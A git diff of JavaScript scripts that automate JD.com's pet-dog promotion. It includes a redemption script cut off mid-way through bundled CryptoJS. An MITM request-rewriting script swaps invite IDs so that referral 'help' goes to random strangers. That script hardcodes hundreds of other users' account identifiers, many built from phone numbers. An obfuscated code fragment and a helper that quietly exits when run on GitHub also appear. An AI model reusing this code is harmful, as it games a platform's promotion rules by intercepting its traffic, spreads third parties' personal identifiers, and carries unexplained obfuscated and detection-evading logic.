_0x1226x20(__Oxb227b[0x32],_0x1226x20(_0x1226x20(__Oxb227b[0x33],__Oxb227b[0x34]),__Oxb227b[0x35]));try{_0x1226x1f= __encode;if(!( typeof _0x1226x1f!== _0x1226x22&& _0x1226x1f=== _0x1226x20(__Oxb227b[0x36],__Oxb227b[0x37]))){_0x1226x21(_0x1226x1c)}}catch(e){_0x1226x21(_0x1226x1c)}})({}) +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_joy_help.js b/jd_joy_help.js new file mode 100644 index 0000000..773e100 --- /dev/null +++ b/jd_joy_help.js @@ -0,0 +1,57 @@ +/* +宠汪汪强制为别人助力(助力一个好友你自己可以获得30积分,一天上限是帮助3个好友,自己获得90积分,不管助力是否成功,对方都会成为你的好友) +更新地址:jd_joy_help.js +更新时间:2021-1-21 +活动入口:京东APP我的-更多工具-宠汪汪 +目前提供了30309位好友的friendPin供使用。脚本随机从里面获取一个,助力成功后,退出小程序重新点击进去开始助力新的好友 +欢迎大家使用 https://jdjoy.jd.com/pet/getFriends?itemsPerPage=20¤tPage=1 (currentPage=1表示第一页好友,=2表示第二页好友) +提供各自账号列表的friendPin给我 +如果想设置固定好友,那下载下来放到本地使用,可以修改friendPin换好友(助力一好友后,更换一次friendPin里面的内容) +感谢github @Zero-S1提供 +使用方法: +①设置好相应软件的重写 +②从京东APP宠汪汪->领狗粮->邀请好友助力,分享给你小号微信或者微信的文件传输助手。 自己再打开刚才的分享,助力成功后,返回到此小程序首页重新进去宠汪汪即可助力下一位好友 +③如提示好友人气旺,说明此好友已满了三人助力,需重新进出小程序,重新进入来客有礼-宠汪汪。 +new Env('宠汪汪强制为别人助力');//此处忽略即可,为自动生成iOS端软件配置文件所需 +[MITM] +hostname = draw.jdfcloud.com +======================Surge===================== +[Script] +宠汪汪强制为别人助力= type=http-request,pattern=^https:\/\/draw\.jdfcloud\.com\/\/common\/pet\/enterRoom\/h5\?invitePin=.*(&inviteSource=task_invite&shareSource=\w+&inviteTimeStamp=\d+&openId=\w+)?&reqSource=weapp|^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/pet\/helpFriend\?friendPin,requires-body=1,max-size=0,script-path=jd_joy_help.js + +===================Quantumult X===================== +[rewrite_local] +^https:\/\/draw\.jdfcloud\.com\/\/common\/pet\/enterRoom\/h5\?invitePin=.*(&inviteSource=task_invite&shareSource=\w+&inviteTimeStamp=\d+&openId=\w+)?&reqSource=weapp|^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/pet\/helpFriend\?friendPin url script-request-header jd_joy_help.js + +=====================Loon===================== +[Script] +http-request ^https:\/\/draw\.jdfcloud\.com\/\/common\/pet\/enterRoom\/h5\?invitePin=.*(&inviteSource=task_invite&shareSource=\w+&inviteTimeStamp=\d+&openId=\w+)?&reqSource=weapp|^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/pet\/helpFriend\?friendPin script-path=jd_joy_help.js, requires-body=true, timeout=3600, tag=宠汪汪强制为别人助力 + + +你也可从下面链接拿好友的friendPin(复制链接到有京东ck的浏览器打开即可) + +https://jdjoy.jd.com/pet/getFriends?itemsPerPage=20¤tPage=1 +*/ +const friendsArr = ["jd_41345a6f96aa5", "jd_45a6b5953b15b", "jd_45a6b5953b15b", "jd_704a2e5e28a66", "jd_66f5cecc1efcd", "jd_sIhNpDXJehOr", "jd_5851f32d4a083", "yhr_19820404", "13008094886_p", "13966269193_p", "jd_4e4d9825e5fb1", "jd_5ff306cf94512", "ququkoko", "jd_59a9823f35496", "529577509-275616", "18923155789_p", "jd_455da88071d1e", "dreamscometrue5120", "蒋周南19620607", "jd_620ceca400151", "杉雨2011", "MARYMY88", "13682627696_p", "jd_6777ee65f9fcc", "夏海东12315", "jd_437b4f3fa5d83", "zyjyc9998", "meoygua", "MLHK7288", "jd_42d9ce3001acd", "jd_57650a30ef6eb", "jd_44ca1016e0f96", "jd_74332d1d62a97", "jd_7dbe4f8a40a7d", "jd_4fa238e4e3039", "elbereth1122", "jd_4d9be23908e41", "jd_51f0d43d78900", "13588108107_p", "123by456", "09niuniuma", "143798682-947527", "jd_560c6f30e6951", "jd_54ddb8af5374a", "夏革平", "247466310", "wang2011", "chensue", "1362245003-624122", "wdGefYCBlyOuvz", "jd_412f7eb363cd8", "18311575050_p", "1307976-34738981", "wdgOGLtOJjjbnp", "klhzdx", "jd_5fdcdcb183d7d", "jd_5862fd8834680", "jd_51a64a9da6b94", "302990512-553401", "jd_4078f69a72873", "jd_ewYCRdmukzQH", "13348822441_p", "hlcx86021", "390823571-784974", "jd_79af2bc7a56a3", "15053231812_p", "jd_6f53253d117c5", "jd_5bf29dffa62ea", "jd_47a1c4ad02103", "刘凤苓", "145391572-102667", "yanglan0409", "jd_4b8a70f3b06c3", "弑神X", "jd_59d962a076126", "sjw3000", "jd_4d4def8b59787", "L1518235423", "jd_579b891fbea9b", "frank818", "hellohuhua", "jd_4cf1918577871", "jd_akYbyiXqrIDC", "李纪红", "jd_54a4260ca986c", "jd_4cba35cfa8220", "13654075776_p", "13916051043", "jd_6f9b9a6769afb", "iamkgbfox", "jd_5fbda9be54d5b", "jd_76763ba485c5e", "jd_485c757b79422", "xiaojingang_0", "lanye1545", "chenzhiyun2002", "lmpbjs1988", "jd_SmPxpudoGYOb", "jwl19690905", "荷舞弄清影88", "jd_750d6a9734717", "jd_64e37854e713f", "jd_573c9832d8989", "wdkplHVQlgowTW", "wwk232323", "jd_6bfe51f915c90", "我手机号码", "13681610268_p", "ss836580793", "15868005933_p", "zooooo58", "陌上花开花又落", "jd_701f52f8badbb", "jd_462f9229c20e4", "jd_42193689987a0", "jd_7dc5829121bcc", "13656692651_phz", "jd_47f49f22f1dc3", "handechun959", "13775208986_p", "guoyizhang", "jd_677dd20bf2749", "jd_FfAnqFVEoBul", "jd_4e59841cae4f9", "jd_5279d593e7803", "思绪随风2011", "jd_62e335d785872", "suyugen", "jd_4e68b48d16f7b", "jd_56b7a4e092e85", "cocoty", "jd_7b6d6e7dc98f1", "jd_63423cd594e8b", "greatyunyun", "4349小丢丢", "18027486801_p", "15207695569_p", "llbai11", "wdNRUvbJItetlvB", "jd_54154982c707f", "85192cool", "jd_60d497271825b", "greatyunyun9320", "ky252571504", "jd_74e60dbcae365", "wdiicnSbYSHWwE", "jd_529a0a309d418", "jd_7be92b11b7e8f", "13486659225_p", "jd_iFnquhpWWAzO", "jd_6e348ece13e20", "jd_6f5b49bb757cb", "znz传奇", "418001066_m", "jd_67ded5748c3ab", "361372-27819972", "jd_5fafb631c98af", "jd_76dd04e844d63", "小鹿Jenny", "00数字方程式", "jd_77a82b603c6c3", "勇敢的小泪", "jd_4481f68984466", "jd_758f5224ee957", "mwb1992062_m", "15975229552_p", "zdj8341", "pet_virtual_friend_胡皋三", "pet_virtual_friend_绿茶sama", "pet_virtual_friend_Ainio", "jd_4915949b7bfa1", "jd_7ca74ed9224ef", "jd_42764f5ea2341", "5317123-63418293", "jd_40a2d9485cbdb", "qazmcl1230", "jd_7ced325aba4fd", "jd_402fe7425fcaf", "95581245-627991", "luffy-314_m", "jd_BCXgLlmxHdiS", "jd_610b3d00928e5", "你要醒来", "338379384-148135", "pet_virtual_friend_乔治桑", "jd_54130a3e282ea", "jd_6169b3411ed5b", "jd_428d930ca56a5", "qq6924309", "pet_virtual_friend_路遇狗与少年", "jd_712bd3bfd55d6", "jd_4e97fe5ca4003", "tommy_he1", "13981372001_p", "129867657-673064", "jd_525d6e7a57e7c", "wdZuirGekSHKmF", "jd_75e1da74980ab", "jd_RVMXldNSQNOP", "jd_5f94da0265e0d", "jd_67ab629be7e61", "13887490621_p", "jd_4e0d529ba3c35", "jd_493918e314b50", "jd_71a220104187a", "jd_vVhhkdUpTkJQ", "gary388jingdong", "wdjQkAbFobMTyo", "cloud_kim", "jd_558ed75f52d39", "15555448319_p", "wdhxZuEvXhhvCf", "jd_72b940be8c0f4", "congcong炒葱葱", "jd_7eb0de64eb25a", "13209558123_p", "jd_53bf7cb6fb8e6", "jd_4fe620f72fa7c", "夏雨的爱情", "jd_47ba82eb392a5", "jd_LXnFHXoJwXkW", "62160785-578856", "醒醒该睡了", "jd_LOEWgvNwQIWD", "xiiirww", "pet_virtual_friend_特兰克斯", "pet_virtual_friend_Talon", "jd_4f7cd5b108733", "jd_NgNWXMVkJIvk", "jadonglin", "玩家卫弈", "liangxuejingdong", "jd_627171efb7c0a", "jd_53bc7a14f64d6", "15809290902_p", "jd_65a2ab73d9aa5", "jd_6edb943cacbfb", "jd_7f7eabc5caf7d", "jd_725e17effb6a9", "蔡辉煌", "voxb", "gdxx_hhw_m", "jd_78f0d6524a1dc", "jd_sDtnONLeHwfG", "xyyshy1983", "yinlang46", "ypqian", "15817094457_p", "fdxwb", "wuyaoxin2012", "明子溪", "henry1927_m", "chamy99", "jd_461e384274c34", "248358330-645106", "jd_4fd63de4a6033", "蜜糖向日葵", "wonghe", "36453197-121619", "琳琅满目cbb", "jd_5b7cc9e532426", "134795344-89911673", "15211488203_p", "jd_6f1f0722f8365", "jd_JmGCpqgpCtqG", "墨明棋妙陈", "pet_virtual_friend_1314爱澳", "1209815-33190621", "zhouhuayh", "jd_6d3cbb8b0751a", "jd_6e00e826f939b", "mztvip", "davidharry", "sara35424", "sun5025", "jd_62ce2385bb364", "352834026-406289", "pet_virtual_friend_丁座的真爱粉", "jd_582eecf8d27a9", "jd_49acdb02e8514", "13976911784_p", "jd_uGzohbhFpRuz", "wzywolfgang", "yjbonny", "沧海不轮回", "649297742_327799447", "倚兰椒", "琳琳8796", "snzh2013", "jd_73751adc04afd", "wdNnlMzPGJJKgqI", "yygt1158", "jd_53df36eb204a0", "花开花花落", "jd_611e082213c89", "jd_71e77d9235cf5", "jd_596fd9fea411f", "jd_7277d200aa1ac", "15230573701_p", "zb19881021", "692620136落", "168876810-159969", "zhushidan100", "上自习的猪", "15602231009_p", "jd_5213fd3fd5e09", "jd_6711f97ee4dfe", "44787591-640051", "MisterGlasses", "jd_7b22bbfe1e7e5", "138555963-81748582", "jd_QEVVkkDTQAlJ", "4932713-24535180", "jd_6dce98c07a644", "jd_DUtPtiiDamDr", "wangyneu", "wBm1TsDy3p_m", "jd_6acd3a6cc79cc","jd_444f5c020f31c","jd_71caf6b3ec4cb", "shin_dynasty", "carola82", "jd_AOhLSBLdSnux", "ningbormb"] +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +let newUrl, url = $request.url; +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} +try { + console.log(`url:${url}`); + let friendPin = encodeURI(friendsArr[randomNumber(0, friendsArr.length)]) //强制为对方助力,可成为好友关系 + const timestamp = new Date().getTime() + const lks = url.match(/lks=.*?$/g)[0]; + newUrl = url.replace(/friendPin=.*?$/i, "friendPin=" + friendPin).replace(/invitePin=.*?$/i, "invitePin=" + friendPin).replace(/inviteTimeStamp=.*?$/i, "inviteTimeStamp=" + timestamp + "&") + newUrl += `&${lks}`; + console.log(`newUrl:${newUrl}`); +} catch (e) { + console.log(e); +} finally { + $done({ url: newUrl }) +} diff --git a/jd_joy_reward.js b/jd_joy_reward.js new file mode 100644 index 0000000..e523d57 --- /dev/null +++ b/jd_joy_reward.js @@ -0,0 +1,398 @@ +/* +Last Modified time: 2021-06-06 21:22:37 +宠汪汪积分兑换奖品脚本, 目前脚本只兑换京豆,兑换京豆成功,才会发出通知提示,其他情况不通知。 +活动入口:京东APP我的-更多工具-宠汪汪 +兑换规则:一个账号一天只能兑换一次京豆。 +兑换奖品成功后才会有系统弹窗通知 +每日京豆库存会在0:00、8:00、16:00更新。 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +==============Quantumult X============== +[task_local] +#宠汪汪积分兑换奖品 +0 0-16/8 * * * jd_joy_reward.js, tag=宠汪汪积分兑换奖品, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png, enabled=true + +==============Loon============== +[Script] +cron "0 0-16/8 * * *" script-path=jd_joy_reward.js,tag=宠汪汪积分兑换奖品 + +================Surge=============== +宠汪汪积分兑换奖品 = type=cron,cronexp="0 0-16/8 * * *",wake-system=1,timeout=3600,script-path=jd_joy_reward.js + +===============小火箭========== +宠汪汪积分兑换奖品 = type=cron,script-path=jd_joy_reward.js, cronexpr="0 0-16/8 * * *", timeout=3600, enable=true + */ +// prettier-ignore +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, 